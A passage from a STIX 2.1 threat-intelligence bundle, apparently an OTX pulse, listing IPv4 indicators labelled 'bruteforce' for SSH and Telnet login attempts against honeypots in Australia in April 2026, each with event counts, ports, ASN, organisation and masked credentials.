      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.29.4.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 15435. Organisation(s): DELTA Fiber Nederland B.V..",
      "id": "indicator--d132956f-f471-4359-9f4f-3e6e28f13b53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.224.196.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 382. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): 3*******7, 7*******3, c******n, g******g, j******r.",
      "id": "indicator--b8248bdb-b7d7-44f9-8ea6-7deee3d773f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.216.241.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q**********9, a******!, a******s.",
      "id": "indicator--c309c8b1-51f5-4100-98d4-1f9c4f158343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.251.123.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0678ef6e-110e-4b95-b2ad-319f3012c2dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): $******y, 3**********4, a******4, q*********n, t*****y.",
      "id": "indicator--481a2c52-abfc-49b5-bd38-b5f47a773f58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.203.42.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 8560. Organisation(s): IONOS SE.",
      "id": "indicator--82fe11ce-9647-41d4-9d46-885d8acc91d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.250.187.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--f07af9ad-1662-43c5-a69b-3bafe0a8ae14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.39.70.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--80633887-0ef6-46c7-acbd-b3337b80a45e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--749ce4d8-9fd3-4ffd-80a6-54ddbeb3bfd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.82.70.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.102.49.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f0c3b0f5-1994-4ec7-815d-5e01f921c289",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.10.56.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G*********************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--cc9a5999-b6b0-4d06-92ea-9db7bbc9b02d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.209.244.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 131090. Organisation(s): National Telecom Public Company Limited.",
      "id": "indicator--367578e5-9e00-4b9d-94c2-3de6bc5b254f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.236.29.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****$, 1*******a, 1********m, 1*******#, 3***********4.",
      "id": "indicator--67c6f391-e35e-4230-8a0a-baafd0b8ab5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.94.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 7506. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******a, 1********m, 3***********4, 3**********4, 7****0.",
      "id": "indicator--8d6c4b5a-da18-443e-aeb4-33c307617041",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.251.22.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , G************0, O****************0, O****************0, O********************0. Passwords observed (masked): , V****************************o.",
      "id": "indicator--afa55ae2-b00c-4d5a-8685-fc6d7af3e133",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.35.68.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 142002. Organisation(s): Scloud Pte Ltd.",
      "id": "indicator--8d17c607-ebd8-4a3c-aa47-a592c9ffc3e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.227.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--10db9850-03d4-4356-92d8-36c98dabaad3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.172.90.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G**************************************************1, G**********************************1, U****************************1. Passwords observed (masked): H**********************3, C***************e.",
      "id": "indicator--38833320-0952-4114-bc40-c02413bbdf59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.99.132.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--13c7dbe2-ddab-4eb0-8058-3f7d9651aa8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.99.61.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264496. Organisation(s): Fibralink LTDA. Usernames observed (masked): a***n, e****e, l********l, s***l. Passwords observed (masked): p*******1, p******h, **, s****m.",
      "id": "indicator--c6b52d1d-70d9-48eb-a4df-6a74983dfa45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.55.72.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4668. Organisation(s): LG CNS. Usernames observed (masked): r**t. Passwords observed (masked): 1*****$, 1*******a, 1*******#, 3***********4, 7****0.",
      "id": "indicator--5141a8b3-6774-438e-a6db-46d9a144335b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.247.143.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1a1cfd73-4b48-4d24-b44e-3e28b735b7a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.193.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1829. Sensors involved: Heralding. Target ports: 5900. Source country: PA. ASN(s): 267784. Organisation(s): Flyservers S.A.. Passwords observed (masked): 1******8, p******d, 1******9, P******D, P******d.",
      "id": "indicator--4b06da59-d3e9-4b73-902c-955f8e5a025f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.227.254.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b1aadf27-0350-4766-9a3e-6d7bf5f65058",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.55.32.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--ede08bf6-4651-4414-9cbc-1111e268bbc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.23.193.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--36d64297-2bc6-478a-ae34-b56629ae488c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:15:10.000Z",
      "valid_until": "2026-05-03T12:15:08.000Z"
    },
    {
      "created": "2026-04-01T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 136180. Organisation(s): Beijing Tiantexin Tech. Co., Ltd..",
      "id": "indicator--0a1320ba-7cd9-435d-ac19-0568f8dcec0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.203.57.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:15:12.000Z",
      "valid_until": "2026-05-03T13:15:09.000Z"
    },
    {
      "created": "2026-04-01T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******., 1*****************p, 1*****z, 2**********v, 3***********4.",
      "id": "indicator--6a8ca04d-0af7-4b96-8a0a-08ff20fb7883",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.218.9.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:15:12.000Z",
      "valid_until": "2026-05-03T13:15:09.000Z"
    },
    {
      "created": "2026-04-01T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Heralding. Target ports: 1080. Source country: DE. ASN(s): 49581. Organisation(s): Tube-Hosting. Usernames observed (masked): a***n, ***, 1****3, 1****6, 1*******9. Passwords observed (masked): ***, 1****3, 1****6, 1******8, 1*******9.",
      "id": "indicator--5a91a8c8-b847-44ac-9a74-b075d1e2ccbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.91.127.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:15:12.000Z",
      "valid_until": "2026-05-03T13:15:09.000Z"
    },
    {
      "created": "2026-04-01T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--c5c54020-2a45-4280-989a-a365c09969cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.79.70.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:15:12.000Z",
      "valid_until": "2026-05-03T13:15:09.000Z"
    },
    {
      "created": "2026-04-01T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--4d46b1a2-e171-494a-9128-1665357c291e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.54.55.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:15:12.000Z",
      "valid_until": "2026-05-03T13:15:09.000Z"
    },
    {
      "created": "2026-04-01T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Passwords observed (masked): 1****6, a***n.",
      "id": "indicator--76f3b795-e9e0-4b09-9859-243ba02c55c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:15:12.000Z",
      "valid_until": "2026-05-03T13:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP.",
      "id": "indicator--2c1c36c8-440a-4305-ac5e-074ddb0af18f",
      "labels": [
        "bruteforce"
